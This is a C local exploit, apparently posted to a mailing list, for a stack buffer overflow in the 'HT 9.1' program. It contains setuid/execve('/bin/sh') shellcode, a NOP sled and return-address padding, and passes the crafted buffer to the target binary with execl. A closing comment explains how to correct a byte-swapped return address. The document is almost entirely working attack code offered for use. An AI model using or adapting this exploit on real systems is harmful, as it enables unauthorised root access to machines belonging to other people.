Exploit:
/*
* HT 9.1 (local exploit)
* By Qnix <Qnix[at]bsdmail[dot]org>
*
* */

#include <stdio.h>
#include <stdlib.h>

#define SZ 4090

char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid() */
"\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd"
"\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80"
"\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0"
"\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50"
"\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89"
"\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

unsigned long sp(void)
{ __asm__("movl %esp, %eax");}

int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;

offset = 0;
esp = sp();
ret = esp - offset;

msg();

if(argc != 2) {
fprintf(stderr,"Usage : %s <ht filename>\n",argv[0]);
exit(0);
}

fprintf(stdout,"[~] Stack pointer (ESP) : 0x%x\n", esp);
fprintf(stdout,"[~] Offset from ESP : 0x%x\n", offset);
fprintf(stdout,"[~] Desired Return Addr : 0x%x\n\n", ret);

buffer = malloc(SZ);

ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < SZ; i+=4)
{ *(addr_ptr++) = ret; }

for(i=0; i < 200; i++)
{ buffer[i] = '\x90'; }

ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }

buffer[SZ-4] = 0;

execl(argv[1], "ht", buffer, 0);

free(buffer);

return 0;
}

int msg() {

fprintf(stdout,"\n -------------------------------- \n");
fprintf(stdout," HT 9.1 (local exploit)\n");
fprintf(stdout," By Qnix <Qnix[at]bsdmail[dot]org");
fprintf(stdout,"\n -------------------------------- \n\n");

}

/* note;

If you didnt get the correct return address for example
the real return address is 0xbffff698 and when you run
the exploit it fail and you see that the return address is
0x98bffff6 , then fix the code by doing something like this

0x98 0xbf 0xff 0xf6
^_____________^
||
0xf6 0xbf 0xff 0x98
^____^
||
0xbf 0xf6 0xff 0x98
^___^
||
0xbf 0xff 0xf6 0x98

Then ret = 0xbffff698 + 0x00000002; + 0x2 added because when you get a problem like that 0xbf will changed to 0xbd so we added 0x2 to fix it . */

--
_______________________________________________
Get your free email from http://mymail.bsdmail.com